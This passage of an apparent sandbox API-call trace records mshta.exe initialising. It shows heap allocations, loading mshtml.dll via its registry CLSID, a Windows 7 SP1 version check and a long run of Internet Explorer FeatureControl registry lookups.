(dwErrCode=0x0) [0040.864] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x24c) returned 0x7c1610 [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.866] GetLastError () returned 0x0 [0040.866] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.867] GetLastError () returned 0x0 [0040.867] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.871] SetLastError (dwErrCode=0x0) [0040.871] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.872] SetLastError (dwErrCode=0x0) [0040.872] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.873] SetLastError (dwErrCode=0x0) [0040.873] GetLastError () returned 0x0 [0040.874] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x122aef) returned 0x0 [0040.875] GetLastError () returned 0x0 [0040.875] GetVersion () returned 0x1db10106 [0040.875] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0040.875] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0040.875] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0040.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x105) returned 0x7c1e70 [0040.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x105) returned 0x7c0e78 [0040.875] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x30faac | out: phkResult=0x30faac*=0x42) returned 0x0 [0040.876] RegQueryValueExA (in: hKey=0x42, lpValueName=0x0, lpReserved=0x0, lpType=0x30faa4, lpData=0x7c1e70, lpcbData=0x30faa0*=0x105 | out: lpType=0x30faa4*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x30faa0*=0x1f) returned 0x0 [0040.876] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x72c20000 [0041.255] GetProcessHeap () returned 0x510000 [0041.255] GetVersion () returned 0x1db10106 [0041.255] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76e10000 [0041.255] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSetInformation") returned 0x76e25651 [0041.255] HeapSetInformation (HeapHandle=0x510000, HeapInformationClass=0x0, HeapInformation=0x30f738, HeapInformationLength=0x4) returned 1 [0041.256] malloc (_Size=0x80) returned 0x32640 [0041.256] GetVersion () returned 0x1db10106 [0041.256] GetVersionExA (in: lpVersionInformation=0x30f610*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30f610*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.256] __dllonexit () returned 0x72e4717c [0041.256] __dllonexit () returned 0x72e473bd [0041.256] GetProcessHeap () returned 0x510000 [0041.256] __dllonexit () returned 0x72e47435 [0041.256] __dllonexit () returned 0x72e46e75 [0041.256] __dllonexit () returned 0x72e46ff5 [0041.256] __dllonexit () returned 0x72e471be [0041.257] __dllonexit () returned 0x72e472e2 [0041.257] __dllonexit () returned 0x72e47320 [0041.257] __dllonexit () returned 0x72e47370 [0041.257] __dllonexit () returned 0x72e46e53 [0041.257] __dllonexit () returned 0x72e46e66 [0041.257] __dllonexit () returned 0x72e46a3e [0041.257] __dllonexit () returned 0x72e46a46 [0041.257] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc053 [0041.257] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc053 [0041.257] __dllonexit () returned 0x72e46a60 [0041.257] __dllonexit () returned 0x72e46a7a [0041.257] __dllonexit () returned 0x72e46a93 [0041.257] __dllonexit () returned 0x72e46aa7 [0041.258] __dllonexit () returned 0x72e46ac1 [0041.258] __dllonexit () returned 0x72e471f1 [0041.258] __dllonexit () returned 0x72e46ad0 [0041.258] __dllonexit () returned 0x72e46adf [0041.258] __dllonexit () returned 0x72e46aee [0041.258] __dllonexit () returned 0x72e46afd [0041.258] __dllonexit () returned 0x72e46b0d [0041.258] __dllonexit () returned 0x72e4720c [0041.258] __dllonexit () returned 0x72e46b1c [0041.258] __dllonexit () returned 0x72e46b2f [0041.258] __dllonexit () returned 0x72e46b49 [0041.258] __dllonexit () returned 0x72e46b58 [0041.258] __dllonexit () returned 0x72e46b67 [0041.259] __dllonexit () returned 0x72e46b76 [0041.259] __dllonexit () returned 0x72e46b85 [0041.259] __dllonexit () returned 0x72e46b94 [0041.259] __dllonexit () returned 0x72e46ba3 [0041.259] __dllonexit () returned 0x72e46bb2 [0041.259] __dllonexit () returned 0x72e46bc1 [0041.259] __dllonexit () returned 0x72e46bd0 [0041.259] __dllonexit () returned 0x72e46bdf [0041.259] __dllonexit () returned 0x72e46bee [0041.259] __dllonexit () returned 0x72e46bfd [0041.259] __dllonexit () returned 0x72e46c0c [0041.259] __dllonexit () returned 0x72e46c1b [0041.259] __dllonexit () returned 0x72e46c2a [0041.260] __dllonexit () returned 0x72e46c3d [0041.260] __dllonexit () returned 0x72e46c4c [0041.260] __dllonexit () returned 0x72e46c5b [0041.260] __dllonexit () returned 0x72e46c75 [0041.260] __dllonexit () returned 0x72e46c8f [0041.260] __dllonexit () returned 0x72e46ca9 [0041.260] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0041.260] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0041.260] __dllonexit () returned 0x72e46cb1 [0041.260] __dllonexit () returned 0x72e47294 [0041.260] __dllonexit () returned 0x72e46ccb [0041.260] __dllonexit () returned 0x72e46cd3 [0041.261] __dllonexit () returned 0x72e46ce2 [0041.261] __dllonexit () returned 0x72e46cf1 [0041.261] __dllonexit () returned 0x72e46d00 [0041.261] __dllonexit () returned 0x72e3f72d [0041.261] __dllonexit () returned 0x72e46d43 [0041.261] __dllonexit () returned 0x72e46d56 [0041.261] __dllonexit () returned 0x72e3f095 [0041.261] __dllonexit () returned 0x72e46d65 [0041.261] __dllonexit () returned 0x72e46d78 [0041.261] __dllonexit () returned 0x72e46d87 [0041.261] __dllonexit () returned 0x72e46d9a [0041.262] __dllonexit () returned 0x72e42256 [0041.262] __dllonexit () returned 0x72e4679d [0041.262] __dllonexit () returned 0x72e46dd5 [0041.262] __dllonexit () returned 0x72e46df8 [0041.262] __dllonexit () returned 0x72e46e07 [0041.262] __dllonexit () returned 0x72e476cb [0041.262] __dllonexit () returned 0x72e46e1a [0041.262] __dllonexit () returned 0x72e472aa [0041.262] __dllonexit () returned 0x72e472cb [0041.262] __dllonexit () returned 0x72e46e3a [0041.262] GetCurrentThreadId () returned 0x86c [0041.262] CoCreateGuid (in: pguid=0x7315ad20 | out: pguid=0x7315ad20*(Data1=0x8dc2affd, Data2=0x7f8c, Data3=0x44ad, Data4=([0]=0x86, [1]=0x35, [2]=0x5a, [3]=0x40, [4]=0xf3, [5]=0x21, [6]=0x4b, [7]=0x84))) returned 0x0 [0041.264] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x200) returned 0x52e820 [0041.264] __dllonexit () returned 0x72e4733d [0041.264] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30f0b0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0041.264] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe" [0041.264] StrCmpICW (pszStr1="mshta.exe", pszStr2="iexplore.exe") returned 4 [0041.264] StrCmpICW (pszStr1="mshta.exe", pszStr2="explorer.exe") returned 8 [0041.264] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x52ea28 [0041.265] SHRegGetValueW () returned 0x2 [0041.265] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2fc | out: phkResult=0x30f2fc*=0x0) returned 0x2 [0041.265] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f8 | out: phkResult=0x30f2f8*=0x0) returned 0x2 [0041.265] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x94) returned 0x0 [0041.265] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.265] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.265] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.265] RegCloseKey (hKey=0x0) returned 0x6 [0041.265] RegCloseKey (hKey=0x0) returned 0x6 [0041.266] RegCloseKey (hKey=0x94) returned 0x0 [0041.266] RegCloseKey (hKey=0x98) returned 0x0 [0041.266] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.266] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x94) returned 0x0 [0041.266] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.266] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.266] RegCloseKey (hKey=0x0) returned 0x6 [0041.266] RegCloseKey (hKey=0x0) returned 0x6 [0041.266] RegCloseKey (hKey=0x98) returned 0x0 [0041.266] RegCloseKey (hKey=0x94) returned 0x0 [0041.266] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x94) returned 0x0 [0041.266] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.266] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.266] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.267] RegCloseKey (hKey=0x0) returned 0x6 [0041.267] RegCloseKey (hKey=0x0) returned 0x6 [0041.267] RegCloseKey (hKey=0x94) returned 0x0 [0041.267] RegCloseKey (hKey=0x98) returned 0x0 [0041.267] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.267] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x94) returned 0x0 [0041.267] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.267] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x9c) returned 0x0 [0041.267] SHRegGetValueW () returned 0x2 [0041.267] SHRegGetValueW () returned 0x2 [0041.267] RegCloseKey (hKey=0x9c) returned 0x0 [0041.267] RegCloseKey (hKey=0x0) returned 0x6 [0041.267] RegCloseKey (hKey=0x0) returned 0x6 [0041.267] RegCloseKey (hKey=0x98) returned 0x0 [0041.267] RegCloseKey (hKey=0x94) returned 0x0 [0041.267] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x94) returned 0x0 [0041.267] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.268] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.268] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.268] RegCloseKey (hKey=0x0) returned 0x6 [0041.268] RegCloseKey (hKey=0x0) returned 0x6 [0041.268] RegCloseKey (hKey=0x94) returned 0x0 [0041.268] RegCloseKey (hKey=0x98) returned 0x0 [0041.268] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.268] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x94) returned 0x0 [0041.268] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.268] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.268] RegCloseKey (hKey=0x0) returned 0x6 [0041.268] RegCloseKey (hKey=0x0) returned 0x6 [0041.268] RegCloseKey (hKey=0x98) returned 0x0 [0041.268] RegCloseKey (hKey=0x94) returned 0x0 [0041.268] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x94) returned 0x0 [0041.269] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.269] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.269] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.269] RegCloseKey (hKey=0x0) returned 0x6 [0041.269] RegCloseKey (hKey=0x0) returned 0x6 [0041.269] RegCloseKey (hKey=0x94) returned 0x0 [0041.269] RegCloseKey (hKey=0x98) returned 0x0 [0041.269] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.269] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x94) returned 0x0 [0041.269] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.269] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.269] RegCloseKey (hKey=0x0) returned 0x6 [0041.269] RegCloseKey (hKey=0x0) returned 0x6 [0041.269] RegCloseKey (hKey=0x98) returned 0x0 [0041.269] RegCloseKey (hKey=0x94) returned 0x0 [0041.269] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x94) returned 0x0 [0041.270] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.270] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.270] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.270] RegCloseKey (hKey=0x0) returned 0x6 [0041.270] RegCloseKey (hKey=0x0) returned 0x6 [0041.270] RegCloseKey (hKey=0x94) returned 0x0 [0041.270] RegCloseKey (hKey=0x98) returned 0x0 [0041.270] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x98) returned 0x0 [0041.270] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x94) returned 0x0 [0041.270] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.270] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.270] RegCloseKey (hKey=0x0) returned 0x6 [0041.270] RegCloseKey (hKey=0x0) returned 0x6 [0041.270] RegCloseKey (hKey=0x98) returned 0x0 [0041.270] RegCloseKey (hKey=0x94) returned 0x0 [0041.271] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f0 | out: phkResult=0x30f2f0*=0x94) returned 0x0 [0041.271] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2f4 | out: phkResult=0x30f2f4*=0x98) returned 0x0 [0041.271] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x30f2b0 | out: phkResult=0x30f2b0*=0x0) returned 0x2 [0041.271] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, 